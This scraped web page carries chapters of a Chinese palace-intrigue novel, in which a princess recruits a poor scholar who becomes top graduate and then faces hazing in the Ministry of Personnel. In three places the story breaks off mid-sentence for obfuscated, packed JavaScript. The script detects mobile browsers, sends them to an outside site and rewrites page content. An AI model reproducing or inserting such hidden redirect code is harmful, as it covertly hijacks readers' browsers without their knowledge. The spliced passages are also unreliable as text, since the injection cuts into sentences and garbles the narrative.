胥毓接过披风,松松系在肩头,转了转身子看镜中模样,唇角微微扬起:“有何不妥?虽说要将此人收归门下,但昭云既对他上了心,做姐姐的,自然该先替她把把关。若他是个金玉其外败絮其中的,二皇妹这辈子岂不是要被耽误了?” 芳吟仍不放心,又问:“那二公主那边,要不要先遣人说一声?” “不必不必。”胥毓摆摆手,语气斩钉截铁,“她素来体弱,昨日又吹了风,今日定是不宜出门的。让四皇妹同我去便是,到时候弦月帮我绊住杜若衡,我自去会会这位张明远。等摸清了他的品行,再回来跟二皇妹细说不迟。” 说着,她又叮嘱道,“记住,今日之事,半个字也不许透给二皇妹!” 芳吟只得低头应了声“是”,不敢再多言语。 胥毓从袖中摸出张素笺,上面是昨日依着胥昭云给的线索,派人打探来的张明远行踪。那小子每日辰时必到城南“文渊阁”替人抄书换钱,午时再去药铺为母亲抓药。 “文渊阁……”她指尖轻点纸面,眸中闪过一丝深思。那是太子门下的产业,专司收罗各地才子为己所用,看来太子早已盯上这位张明远了。 她必须赶在太子前头,将此人收入麾下。 …… 城南文渊阁内,晨阳透过雕花木窗,斜斜落在案几上。 张明远正伏案疾书,案前摊着本《西域志异》,他今日的任务是需将其中阿语部分译成汉文,雇主是城中富商,想用这些异域诗句去讨好来自西域的贵客。 他身着半旧的青布长衫,袖口已洗得发白,眼下带着淡淡的青影,显是昨夜未曾安睡。握笔的手骨节分明,虽有些单薄,却稳得很,一笔一划,皆是工整小楷。 “张公子,这段‘明月如君王之冠’,可否再润色润色?”阁主赵德海摇着折扇踱步过来,指着纸上一行字,笑得满脸褶子。 张明远抬头,眼中闪过一丝倦意,却仍拱手回道:“赵阁主,原文直译便是如此。若要润色,恐怕要失了原意。” 赵德海收起折扇,捋着颔下胡须笑道:“公子有所不知,这位贵客最是爱听奉承话。你且将‘明月’改为‘吾主’,再添些溢美之词,酬金翻倍如何?” 张明远握笔的手微微一顿。 他脑中瞬时闪过病榻上母亲咳得撕心裂肺的模样,闪过米缸里空空如也的景象,酬金翻倍,确实诱惑极大。 可他又忽然想起昨日那位云小姐清澈如水的眼眸,那里面没有半分轻视,只有纯粹的关切…… 所以他缓缓放下毛笔,声音虽轻,却字字坚定:“赵阁主,请恕在下难以从命。文章千古事,得失寸心知。张某可以译,可以抄,却不愿违心谄媚。” 赵德海脸上的笑意霎时僵住了,他脸色一沉:“张明远!你别不识抬举!这活计多少人抢着要?若不是看在你文笔尚可的份上,你以为落得到你头上!你今日若是——” “好一个‘文章千古事,得失寸心知’!” 一道清亮女声突然从门口传来,打断了赵德海的呵斥。 众人循声望去,只见一位女子踏进门来,身后跟着两个作寻常丫鬟打扮的侍女。她穿一身月白素衣,发间只簪一支青玉扁方,虽素净,却掩不住那通身的气度,宛如空谷幽兰,自带风华。 赵德海见来人衣着虽简,却料子上乘,气度不凡,立刻换了副笑脸,拱手问道:“这位小姐是……” 胥毓看也不看他,径直走到张明远案前,拿起他刚写就的译文,细细看了看,忽然轻笑道:“字是好字,铁画银钩;文是好文,信达雅俱全,只可惜,用错了地方。” 张明远抬头,撞进了一双清亮的眸子里。 眼前女子眉眼如画,气质清冷,与昨日那位云小姐的温婉截然不同,却同样让人移不开眼。 他连忙起身拱手:“小姐此言何意?” 胥毓将纸张放回案上,唇角勾起一抹讥诮:“我听闻城南有位张姓才子,满腹经纶,却甘为五斗米折腰,专替人写些阿谀奉承的文字。今日一见,果然名不虚传。” 张明远脸色霎时变得苍白,像是被人当众打了一巴掌。 他握紧拳头,指甲深深陷入掌心,但又无力反驳,所以只得低声道:“小姐教训得是。张某确实……有辱斯文。” “哦?”胥毓挑眉,步步紧逼,“那为何还要做这等事?” “家母病重,药石无灵。”张明远声音沙哑,带着难以言说的苦楚,“为人子者,岂能眼睁睁看着母亲受苦?” 胥毓注视着他痛苦的神情,见他虽有难言之隐,眼底却无半分谄媚,心中暗自点头:此人重情重义,有底线,确是可造之才。 她故意冷声道:“孝心可嘉,但方法拙劣。你可知那些被你奉承的富商,正是盘剥百姓的祸首?你为他们歌功颂德,与助纣为虐何异?” 这话如同一记重锤,狠狠砸在张明远心上。 他踉跄后退半步,脸色愈发苍白,嘴唇嗫嚅着,却一个字也反驳不出。 是啊,他为了母亲,竟忘了文人的风骨,与那些欺压百姓的人为伍。 “小姐……”他声音颤抖,“张某受教了。” 胥毓见他已然醒悟,知道火候已到,便转身对赵德海道:“这位公子的活计我包了,酬金双倍。不过他今日的译文,我要带走。” 赵德海虽不情愿,却不敢得罪这位气度不凡的小姐,于是只得点头哈腰地应下:“是是是,都听小姐的。” 胥毓示意琴夏付钱,然后对张明远道:“张公子,可否借一步说话?” 文渊阁后的小院里,几株石榴树刚抽出新绿,墙角的青苔在晨露中泛着湿意。胥毓命玉蝉和琴夏守在门口,只留张明远一人相对。 “不知小姐如何称呼?”张明远谨慎地问道,心中猜不透这女子的来历。 “我姓柳,家中行一,人称柳大小姐。”胥毓随口编了个假名,语气淡然,“张公子不必拘礼,我今日来,是有事相商。” 她说着,从袖中取出一张银票,轻轻放在石桌上:“这是一百两银子,足够令堂半年的药钱。” 张明远见状大惊,连忙摆手:“这……柳小姐,无功不受禄,张某不能收!” “别急。”胥毓端起桌上的粗瓷茶杯,轻轻抿了一口,笑道,“我并非白给。听闻张公子今科应试,我欲资助公子专心备考。若公子高中,再还我不迟。” 张明远眼中满是警惕:“柳小姐为何要帮我?” “两个原因。”胥毓伸出两根纤细的手指,指尖蔻丹如血,“其一,我欣赏公子的才学;其二……”她顿了顿,目光落在他脸上,“我有个妹妹,对公子一见倾心。” 张明远愕然:“这……柳小姐莫要玩笑。张某不过一介寒士,怎会……” “我妹妹前日在药铺见过公子。”胥毓直视他的眼睛,语气诚恳,“她说公子温文尔雅,孝心可嘉,是个难得的君子。” 张明远忽然想起那位云小姐,心跳不由加速。但转念一想,云小姐自称姓云,与这位柳小姐并非同姓,应当不是姐妹。 “柳小姐厚爱,张某愧不敢当。”他再次拱手,语气坚定,“只是张某如今家徒四壁,功名未就,实在无心儿女私情。” 胥毓不慌不忙地放下茶杯,杯底与石桌相碰,发出清脆一声:“公子不必急着拒绝。我并非要你现在就娶我妹妹,只是希望你能接受我的资助,安心备考。至于婚事,待科考后再议不迟。” 她从怀中取出一块玉佩,放在银票旁。那玉佩是上好的羊脂白玉,上面雕着精致的云纹,触手温润:“这是我妹妹的信物。若公子改变主意,可持此玉佩到城东柳府寻我。” 张明远看着那块玉佩,心中天人交战。 他太需要这笔钱了,母亲的病不能再拖,可若接受了,岂不是要以婚姻为交换?更何况,他心中已有了那位云小姐的影子…… “苏小姐,恕我直言。”他深吸一口气,像是下定了决心,“若我接受资助却不娶令妹,您待如何?” 胥毓笑了,眼中闪过一丝赞赏:“我说过,资助与婚事是两回事。即便公子最终不愿娶我妹妹,这些银两也无需归还。我柳家不缺这点钱,只是不忍见人才埋没。” 她站起身,裙裾轻摆,如弱柳扶风:“公子不妨再考虑三日。三日后午时,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206920|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会在城南‘醉仙楼’等你答复。” 张明远望着她离去的背影,直到那抹月白色消失在巷口,才缓缓拿起那块玉佩。玉上的云纹在阳光下流转着温润的光,他摩挲着纹路,心中五味杂陈。 …… 三日后,醉仙楼雅间内,熏香袅袅,窗外传来阵阵燕语。胥昭云坐在窗边,手里绞着块素色帕子,指尖都泛了白。 “大皇姐,这样真的妥当吗?”她小声问道,声音里带着紧张。 那日回宫以后,胥毓便将当日情形一应转述,胥昭云本就对这张明远颇有好感,听闻他的所作所为,心中更是不免动心。 可是,一想到胥毓的那番试探之言,心里面又禁不住有些七上八下,总担心着到最后,一切都不过是自己的一厢情愿。 但胥毓按住她的手,掌心的温度让她稍稍安心:“放心,我自有安排。今日你只需坐在屏风后,若他答应婚事,你便现身;若他拒绝,你便悄悄从后门离开,绝不让他知道你来过。” 胥昭云咬了咬唇,又问:“若他拒绝……大皇姐还会资助他吗?” “自然。”胥毓眼中闪过一丝赞赏,“我看重的是他的才学与品性,与婚事无关。” 正说着,楼下传来脚步声,由远及近。 胥昭云连忙起身,躲到屏风后,一颗心“怦怦”直跳,几乎要从嗓子眼里蹦出来。 张明远如约而至。 他今日换了身干净的青衫,虽仍是旧衣,却浆洗得洁白笔挺,发髻梳得一丝不苟,显然对这次会面十分重视。 “柳小姐。”他拱手行礼,神色比三日前从容了许多,眼中却藏着几分复杂。 胥毓示意他入座:“张公子考虑得如何?” 张明远从怀中取出那块云纹玉佩,轻轻放在桌上,推到胥毓面前:“柳小姐厚爱,张某感激不尽。只是……”他顿了顿,像是下定了极大的决心,“张某心中已有意中人,实在不能接受令妹美意。” 屏风后的胥昭云心头一颤,像是被什么东西轻轻蛰了一下,既有些失落,又有些欣慰。失落的是他拒绝了自己,欣慰的是他并非见利忘义、朝三暮四之人。 胥毓不动声色,端起茶杯掩饰住嘴角的笑意:“哦?不知是哪家小姐如此有幸?” “说来惭愧。”张明远眼中泛起一丝温柔,像是想起了什么美好的画面,“我只知她姓云,是位心地善良的小姐。那日她为我母亲付了药钱,还……” “还去你家看了你母亲?”胥毓突然接话,语气带着几分戏谑。 张明远愕然抬头:“柳小姐如何知晓?” 胥毓轻笑一声,转头对屏风后道:“云妹妹,你还打算躲到何时?” 屏风后,胥昭云红着脸,一步一挪地走了出来。她今日穿了一袭淡紫色衣裙,发间只簪了支素银钗,肌肤胜雪,眉目如画,在熏香缭绕中,宛如月下仙子。 张明远猛地站起身,带得身后的椅子“哐当”一声倒地,手中的茶盏也摔落在地,茶水溅湿了衣襟,他却浑然不觉:“云……云小姐?!” “张公子。”胥昭云盈盈一拜,声音轻若蚊鸣,“那日匆匆一别,未及告知实情。其实我本姓胥,名昭云,是……是这位‘柳小姐’的妹妹。” 张明远如坠梦中,愣在原地,半晌才回过神来,脸上一阵红一阵白,嘴唇动了动,却不知该说些什么。 “所以……柳小姐说的妹妹就是……” “正是昭云。”胥毓满意地看着两人震惊的表情,语气轻快,“张公子现在可还拒绝这门婚事?” 张明远望向胥昭云,只见她低垂着头,耳尖红得快要滴血,长长的睫毛像蝶翼般轻轻颤抖,却掩不住嘴角那抹浅浅的笑意。 他心中豁然开朗,所有的疑虑烟消云散,只剩下满满的欢喜。 “若云小姐不嫌弃张某贫寒……”他深深一揖,声音带着一丝不易察觉的颤抖,“张某愿以余生相报。” 胥昭云抬头,眼中闪着泪光,却笑得眉眼弯弯:“我不要你报恩。我只要你……做你自己。” 胥毓看着两人情意绵绵的样子,悄悄退到一旁,不再打扰二人。她知道,自己今日不仅成全了一段良缘,更为自己的大业寻得了一位得力助手。 窗外,清风拂过,卷起几片花瓣,轻轻落在窗台上,仿佛在温柔地见证这个改变东陵命运的约定。雅间内,熏香依旧袅袅,伴着二人的笑语,在空气中弥漫开来。 55. 中状元 自揽得张明远这颗棋,胥毓心头畅快,眉宇间都漾着几分不易察觉的欣悦。 然她深知,此刻绝非松快之时。胥阳丹在朝堂经营多年,那势力盘根错节,如老树盘根,要撼动其根本,实非一蹴而就之事。 她须得如履薄冰,步步为营,方能保得万无一失。 …… 几日后,一封邰玉轩的密信递到胥毓手中,约她在云溪的铺子里相见。 那铺子坐落在东陵城最是繁华的街市上,门前车水马龙,吆喝声不绝于耳。铺面上看着是卖些胭脂水粉、绫罗绸缎,但内里却早已成了胥毓他们如今传递消息的据点。 胥毓换了身月白色的素净衣裙,裙摆绣着几枝淡雅的兰草,带着芳吟,悄没声地出了宫,一路直奔云溪的铺子。 刚一进门,门口挂着的风铃便叮铃铃响了起来,云溪满面春风地迎上来,声音清脆如银铃:“你可算来了,阿柳,这几日没见着你,我心里头可真是想得紧呢。” 胥毓唇边漾开一抹浅笑,跟着她进了内室。 内室布置雅致,临窗摆着一张梨花木的桌子,桌上放着个青瓷瓶,插着几枝新鲜的茉莉,香气清幽。 云溪亲手给她倒了杯雨前龙井,茶叶在水中舒展,清香袅袅。 她闲闲地拨着茶盖,问道:“你今日气色瞧着极好,想来是事情办得顺顺当当的,那张明远的事,可成了?” 胥毓点头,眼中闪过几分愉悦:“确是顺利,如今他已是我的人了。只是要扳倒太子,单靠他一人远远不够,接下来,怕是还有的忙。” 云溪笑吟吟地点头,眼波流转间,朗声说道:“你放宽心,我这边也替你盯着呢,但凡有什么风吹草动,或是想起什么关键的关节,保管第一时间就告诉你。” 她顿了顿,又道,“对了,上次你让我仿制的东西,已然做好了。” 说着,她从柜子里取出两个精致的锦盒,胥毓打开一看,里面赫然便是是虎符。左边那个是真的,右边那个是仿的,可那仿的做工精细,纹路、色泽都与真的一般无二,乍一看,当真能以假乱真。 她满意地合上盒子,轻声道:“多谢。” 云溪摆摆手,故作嗔怪道:“你我之间,还说什么谢字,岂不是见外了?” 她又让店里的小厮取来一套胭脂水粉,递到胥毓面前,“这是特意给你备下的,盒子用的是南海的珍珠贝母,在光下瞧着,那颜色变幻无穷,里面的胭脂也是我让人特调的,比宫里的那些,怕是还要好上几分呢。” 胥毓打开一看,果然精致非凡,胭脂红得恰到好处,透着莹润的光泽。 她不由笑道:“你这生意,倒是越做越大了。” 云溪得意地扬了扬眉,脸上满是骄傲:“那是自然!我如今不光做衣裳生意,这胭脂水粉的买卖也做得红火。我这些物件,都是独一份的,前无古人后无来者,市面上那些想抄我的,学了个形似,却没学到精髓,反倒成了画虎不成反类犬的笑柄。东陵城的分店我已然开了五家,过些日子,还要再多开几家,争取早日成个大富婆,把铺子开到其他都城去,让天下的女子都用我的东西!” 胥毓莞尔:“那我可就等着看云老板富甲天下的那日了。” 两人正说笑间,门外传来轻轻的脚步声,邰玉轩走了进来。 他今日也穿了一身月白色的素色长衫,领口袖口都绣着细细的银线,腰间配着一枚青玉坠,玉坠温润,随着他的动作轻轻晃动。往日他衣着多是沉稳颜色,今日这般打扮,倒显得温润如玉,说不出的好看。 胥毓见了他便笑,想着也有几日没见了,忙不迭地将人拉到自己身边坐下。 “阿柳。”邰玉轩朝胥毓拱手行礼,没防备被她一拉,身子一斜,竟扑倒在她怀里,顿时脸上飞起两抹红霞,羞得耳根都红了。 云溪在一旁看得真切,当即调笑道:“哟,这才几日不见,就这般亲近了,当我是透明人呢?” 邰玉轩听了,越发不好意思,头都快低到胸口了。 胥毓却浑然不觉,亲手给邰玉轩倒了杯茶,问道:“这次找我,可是有什么消息?” 云溪在一旁插科打诨:“难道没消息,就不能找我们阿柳了?” 邰玉轩脸上的红晕未褪,神色却凝重起来,他低声道:“阿柳,太子那边有动作了。” 胥毓脸上的笑意瞬间敛去,眸光一沉:“详细说说。” 邰玉轩压低声音,语气带着几分凝重:“我顺着之前你发现的太子与外邦人接头的线索查下去,见他最近和裕嘉人来往得十分频繁,怕是在密谋着什么。” 云溪在一旁接口道:“那裕嘉人野心勃勃,早就盯着东陵边境那几座城池了,太子要是和他们勾结,多半是想借他们的兵力,谋逆造反。” 胥毓指尖轻轻敲击着桌面,发出清脆的声响,她沉思片刻,道:“你继续盯着太子,务必把他和裕嘉人密谋的证据拿到手。” 邰玉轩点头:“放心。”他顿了顿,又道,“不过,眼下还有一事,需要多加警惕。” “何事?” “虽说从太子手里把人抢了过来,但太子那人睚眦必报,定然不会善罢甘休。他招揽张明远不成,说不定会在张明远上任后给他使绊子。张明远虽是个得力的干将,可那也是以后的事,如今胥阳丹背后最大的势力,是吏部尚书沈文石,他是坚定的太子党,一心支持太子。” 胥毓眉头微蹙,沈文石她没见过,但那日他夫人进宫找皇后时的模样却在她脑海中浮现。 此人是当朝吏部尚书,门生故吏遍布朝堂,算得上是文官之首。 他有两个女儿,一个是已故的先皇后沈青淑,也就是太子生母,另一个是如今的皇后沈青梧,四皇子胥文璟的生母。按理说,两个外孙,一个是太子,一个是四皇子,他本该中立,可他却偏偏只认太子。 胥毓沉吟片刻,忽然笑了,眼中闪过一丝算计:“沈文石此人,迂腐得很,一门心思认准了立嫡立长,所以才一直支持太子。可太子行事狠辣,对百姓毫无仁德之心,若是让他知道太子的真面目,未必不会动摇。” 邰玉轩眸光一闪,似是明白了什么:“你的意思是……攻心?” 胥毓点头:“正是。太子招揽张明远不成,定会出手打压,而沈文石素来爱才,要是看到太子这般对待寒门才子,心里头必定会生出不满。” 云溪在一旁笑道:“你这是想借太子的手,让沈文石自己动摇?” 胥毓唇角微扬,端起茶杯,轻轻抿了一口,对于云溪的猜测,不置可否。 …… 放榜那日,朱雀大街上人山人海,摩肩接踵,喧闹声几乎要掀翻屋顶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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殿中的气氛顿时变得微妙起来,张明远余光扫过皇帝的脸色,见他不置可否,心里明白,皇帝并不反感太子招揽自己。但他如今早已心有所属,虽然还不知道那位荣安公主背后效忠的是哪位皇子,但既然未明说,那想必不会是眼前这位太子殿下。 “臣惶恐。”所以他后退半步,语气坚定,“殿下厚爱,本不该推辞,只是家母病重,臣需即刻回家探望。况且臣一介寒士,恐有污殿下清誉。” 殿内霎时一片寂静,落针可闻。 太子脸上的笑容僵住,眼中闪过一丝阴鸷,那眼神像淬了冰,让人不寒而栗。 他心里暗自思忖:这是什么意思?他竟敢拒绝自己?他知道拒绝自己意味着什么吗?自己是太子,是正统,当着这么多官员的面被拒绝,难不成他想效忠别人? 想到这里,胥阳丹的面色顿时铁青,长这么大,还从未有人敢如此驳他的面子! “张爱卿孝心可嘉呀。”但皇帝适时开口,打破了殿中的僵局,没有给太子发作的机会,“既是母亲有疾,那朕准你三日假。至于任职……就去吏部考功司吧,正七品主事。” 他虽不排斥太子招揽有才之士,但也不喜欢逼人站队,反倒觉得这种不站队、一心办实事的官员,更为难得。 张明远叩首谢恩,心里却清楚,皇帝虽替自己解了围,但考功司主管官员考核,是各方势力角逐的漩涡,把自己放在这个位置,态度实在有些让人琢磨不透…… 56. 三皇子盘算 且说这太子回府后,一进书房,便将一方端砚狠狠摔在地上,砚台四分五裂,墨汁溅得满地都是。 “好个张明远!竟敢当众驳本宫的面子!”胥阳丹面色铁青,胸口剧烈起伏,怒火中烧。 门外,精心打扮的胥嘉推门而入,她穿着一身娇艳的粉色衣裙,头上插着珠翠,见了屋内的情景,吓了一跳。 但想到自己来此的目的,还是强装镇定地问道:“太子哥哥,那张明远可招揽到了?” 话音未落,一只茶盏擦着她的耳边飞过,“哐当”一声碎在墙上。 “滚出去!”太子暴怒,指着门口,“你给出的好主意!非要让本宫在放榜之日才去招揽,现在好了,被人捷足先登,大庭广众之下,那么多官员看着,他竟然敢拒绝本宫,这让本宫的面子往哪里搁!” 胥嘉吓得脸色煞白,身子微微发抖,却还是强辩道:“这不可能!张明远不过是个穷酸秀才,谁会在放榜之前就去招揽他呀?会不会是他不懂官场这些弯弯绕绕,误以为你的邀请真的只是吃饭,所以才在无知之下拒绝了?” 听胥嘉这么一说,胥阳丹的情绪稍微平复了些。 或许胥嘉说的是真的,那小子确实是见识短浅,听不懂自己的话,才会拒绝。 毕竟,谁敢拒绝自己呢? “三殿下到!”而就在这时,门外的侍卫高声通报。 三皇子胥华荣摇着折扇悠然自得地走了进来,显然是听闻了朝堂上的风声,特意赶来的。 他身后跟着太子府的长史。 那长史是太子出宫后便被派去调查张明远的,此刻他上前一步,低声道:“殿下,刚得到的消息。张明远一个月前就与荣安公主有过接触,据说当时他们多次密谈,虽不知具体说了些什么,但自那之后,张明远就没再去抄过书,而且手头也宽裕了不少,给母亲买了不少好药。” “什么?!”胥嘉失声惊呼,脸上满是难以置信。 胥华荣眼中精光一闪,忽然想起之前无意中撞见的一幕:“原来如此。难怪那日我在醉仙楼见她与一男子密谈,当时我还只当她是因着亲事,在与那杜若衡游玩,现在看来,才知从那时起,她就借着杜若衡的幌子,与张明远有所接触了。” 说到这里,他又故作恍然,“这么说,胥毓是在为四弟招揽人才?” 太子猛地一拍桌子,桌子上的茶杯都被震得跳了起来:“好个胥文璟!表面装得与世无争,背地里却把手伸到科举上来了!” 胥嘉忽然想到什么,脸色变得更加难看:“皇兄,胥毓怎会知道张明远此人?莫非……她也有预知之能?” 室内霎时一片死寂,连呼吸声都能听得见。 胥嘉看着太子在殿内来回踱步的身影,心里涌起一阵刺骨的寒意,若是此事是真的,那她最大的倚仗,便不再是独一无二的了。 太子眯起眼睛,眼中闪过一丝阴狠:“若是此事是真的……” “嘉儿会尽量多预知些事情!”不等太子说完,胥嘉便立马打断,语气急切,“若她真的有此能力,也绝不会让她凡事都捷足先登!” 当初她留了个心眼,没有告诉胥阳丹自己是重生之人,只说自己有预知的能力,偶尔能预知一些未来发生的大事,可以助他登上皇位。 这样自己对他便一直有用,不会在被掏空价值后被卸磨杀驴。 毕竟上辈子跟了他一辈子,没人比她更了解这个男人。他敏感暴戾,即便是亲近之人,也会为了权力轻易舍弃。前世若不是自己到死,都把最后活着的机会留给了他,他恐怕也不会在自己死后念了那么多年。 可今生,因为胥毓的出现,许多事情都被打乱了。 她没有因为一路扶持胥阳丹而让两人感情越来越好,近来还屡次因为预知出错让他不满。这样下去,只怕用不了多久,太子就会放弃她了。 但今时不同往日,她如今能依靠的只有胥阳丹,离了他,自己什么都不是,又怎能轻易放手? 只是,这一次,她要透露哪件事,才能挽回自己在太子心里的地位呢? “那就按你说的办。”在胥嘉沉思之际,太子沉吟片刻,到底还是不太放心,转向胥华荣道:“关于这胥毓,终究是不能留了,三弟可有什么妙计?” 胥华荣笑了笑,凑到太子耳边,低语了数句。 太子听后,抚掌大笑:“妙!就依三弟之计。” …… 三日之后,是张明远正式上任的日子。 才寅时三刻,天还黑沉沉的,他已穿戴整齐。 他对着铜镜,仔细整理着身上的青色官服,今日,是他担任吏部考功司主事的第一日,心中既有忐忑,又有几分期待。 “老爷,先用些早膳吧。”新购置的老仆张忠端着清粥小菜进来,脸上满是担忧,看着自家老爷眼下的青黑,便知他一夜没睡好。 “不必了。”张明远摇头,拿起昨夜整理好的文书,“今日郑郎中要‘接风’,去晚了反倒落人口实。” 晨光熹微,天边泛起一抹鱼肚白,空气中带着几分凉意。 张明远穿过吏部衙门高大的朱漆大门,门两旁的石狮子威严耸立。守门的小吏见他身着七品官服,却连个随从都没有,眼中闪过一丝轻蔑,嘴角撇了撇,连句招呼都懒得打。 考功司值房内,几位同僚正围坐在桌旁吃茶闲聊,说说笑笑,气氛热络。见张明远进来,众人的声音戛然而止,目光齐刷刷地投向他,带着审视和几分不友善。 “下官张明远,见过诸位大人。”他拱手行礼,态度恭敬。 屋内寂静了片刻,才有个年长些的主事懒洋洋地抬了抬眼皮,指了指角落:“新来的?你的案桌在那边角落。” 那张桌子上积满了厚厚的灰尘,显然许久没人用过了,桌腿还缺了一角,看着十分寒酸。 但张明远面不改色,从袖中取出帕子,仔细地擦拭起来。 “听说这位就是拒了太子爷的寒门状元?”一个尖细的声音故意扬高,带着嘲讽。 “可不是,骨头硬得很。”另一人嗤笑一声,“就是不知道能在考功司硬气几天。” 张明远充耳不闻,将带来的文书一一摆好。 这时,门外传来脚步声,郑昌带着两名书办大步走来,脚步声在寂静的值房内显得格外响亮。 “张主事来得倒早。”郑昌皮笑肉不笑,语气里的阴阳怪气几乎要溢出来,“正好,这里有三百份官员考绩需要复核,今日务必完成。” 那摞文书堆在案上,几乎有半人高,纸张泛黄,透着陈年的气息。 张明远平静地走上前,双手接过:“下官领命。” “慢着。”郑昌忽然冷笑一声,眼中闪过一丝恶意,“这些都要用朱笔批注,一字一句都得仔细,错一处,便杖十下。” 屋内众人闻言,都倒吸一口凉气,这分明是明目张胆的刁难。三百份文书,密密麻麻的字迹,便是神仙来了也难保不出错,更何况还要在一日之内完成。 张明远指尖微微一颤,握着文书的手紧了紧,但他还是挺直了腰背,声音平静无波:“下官明白。” 整整一日,张明远都埋首于文书之中。 窗外的日头从东边爬到西边,又渐渐沉了下去,屋内的光线从明亮变得昏暗,他却连一口水、一口饭都未曾沾过。 到了申时,他的手腕早已酸痛不已,眼前阵阵发黑,视线都有些模糊了。就在这时,忽然一阵眩晕袭来,手中的朱笔不受控制,在文书上划出了长长的一道红痕。 “哈!出错了吧?”一直盯着他的书办立刻跳了起来,像是抓住了什么了不得的把柄,“我这就去请郑大人!” 张明远闭了闭眼,心中泛起一阵苦涩,终究还是没能躲过。 但谁知就在这时,值房外突然传来一阵骚动,夹杂着小吏的通报声:“尚书大人到——” 满屋官吏闻言,慌忙从座位上弹起,纷纷跪倒在地,连大气都不敢喘一口。 须发皆白的吏部尚书沈文石缓步而入,他身着深色官袍,面容严肃,目光扫过屋内,最后落在了那摞高高的文书上。 “这是何人所批?”沈文石的声音不高,却带着不容置疑的威严。 郑昌急忙从地上爬起来,快步上前,脸上堆着谄媚的笑:“回大人,是新来的张主事。下官正要责罚他批阅出错……” 沈文石没理会他,拿起那份染了朱痕的文书细细查看,眉头先是微蹙,随即舒展开来,忽然道:“这份考评写得好。‘清正廉明,体恤民情’八字,切实中肯,倒是说出了要害。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16228784|177870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 他抬眼看向仍跪在地上的张明远,“这是你写的?” 张明远伏在地上,恭敬地回道:“回大人,是下官拙见。” 沈文石又随手翻看了几份,越看眼中越露赞赏之色,不时点头:“这些批语都颇有见地,看得出是用了心的。不过……”他话锋一转,看向一旁的郑昌,“郑郎中,三百份考绩一日批完,是你安排的?” 郑昌额头瞬间冒出冷汗,支支吾吾道:“这……下官……” “胡闹!”沈文石猛地拂袖,声音里带着怒意,“便是老夫亲自批阅,一日也不过百份。你这是存心刁难同僚,视公务为儿戏!” 满堂寂静。 张明远惊讶地抬起头,正对上老尚书探究的目光,那目光里没有斥责,反倒有几分欣赏。 “张明远。”沈文石忽然开口,语气缓和了些,“听闻你拒了东宫的招揽?” “下官……确有此事。”张明远心中一紧,不知老尚书问这话是什么意思。 “为何?”沈文石追问,目光锐利如鹰,似要看透他的心思。 张明远深吸一口气,定了定神,朗声道:“下官寒窗十年,苦读圣贤书,为的是报效朝廷,造福百姓,而非沦为党争的工具。” 值房内落针可闻,众人都屏住了呼吸,没想到这新来的状元郎竟有如此胆量,敢在尚书大人面前说这样的话。 郑昌脸色惨白,等着看沈文石发怒。 谁知沈文石沉默片刻,竟缓缓点了点头,眼中露出一丝赞许:“跟老夫来。” 尚书值房内,陈设简洁却不失庄重,墙上挂着一幅山水画,透着一股清雅之气。 沈文石赐了座,又让人看了茶。张明远谨慎地坐下,只敢坐半边椅子,双手放在膝盖上,姿态恭敬。 “你可知老夫与太子的关系?”沈文石呷了一口茶,慢悠悠地问道。 “下官……略有耳闻。”张明远答道,心中越发不安。 沈文石长叹一声,眼中闪过一丝复杂的情绪:“太子是除了是君,也是老夫的学生,以及外孙,可这些年……唉,不提也罢。” 他忽然直视着张明远,目光诚恳,“你批的考绩,不仅能看出官员优劣,更能体察民情。这样的人才,不该被埋没。” 张明远心头一跳,似乎明白了什么。 “从明日起,你随老夫办事。”沈文石一锤定音,语气不容置疑,“至于郑昌之流,不必理会。” 张明远大喜过望,连忙起身叩首谢恩。 先前荣安公主让人递了消息,说太子或许会让人刻意刁难,但让他不必理会,只管认真做事,最多两三日,吏部尚书沈文石便会替他解围。当时他还有些怀疑,不曾想,根本没等两三日,仅仅一日,她的话就应验了。 于是当日下值后,张明远便悄悄来到了锦绣阁,与胥毓会面。 锦绣阁内灯光柔和,空气中弥漫着淡淡的熏香。 胥毓听完他的汇报,眼中闪过一丝惊喜:“妙极!沈文石爱才,见太子如此打压你,心中必定生出不满。如今他让你跟在他身边,想必也是为了警醒太子,让他不要太过无的放矢。” “正是。”张明远压低声音,语气中带着几分庆幸。 胥毓眸光骤亮,眼中闪过一丝算计:“记住,沈文石虽迂腐,却真心为国。你安心跟着他做事便好,必要的时候,再旁敲侧击,让他看清太子的真面目。” 对于胥毓的交代,张明远一一应是,随后又悄无声息的离开了此地。 而次日清晨,郑昌等人一进吏部衙门,就见张明远竟跟在尚书大人身后,两人有说有笑地走着,那模样,亲密得很。 他惊得差点摔倒在地,脸上一阵青一阵白,愣在原地半天没回过神来。 之后便立马将消息传到了皇宫之中,而胥阳丹听完手下的禀报,没忍住,又摔了一只茶盏,茶水溅得满地都是:“废物!让你们刁难人,怎么反倒把他送到那老东西身边去了!” 三皇子胥华荣在一旁慢条斯理地品着茶,见太子发怒,放下茶杯,轻轻拍了拍他的肩膀,安慰道:“皇兄莫急,不过是个小小的主事,翻不起什么大浪。” 